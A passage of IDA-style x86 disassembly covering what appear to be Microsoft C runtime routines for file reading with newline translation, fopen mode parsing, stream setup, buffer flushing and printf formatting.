var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCDA0
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 27102B0h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 26A08EAh
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		nop
		call	near ptr 27102B0h
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 26A08EAh
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
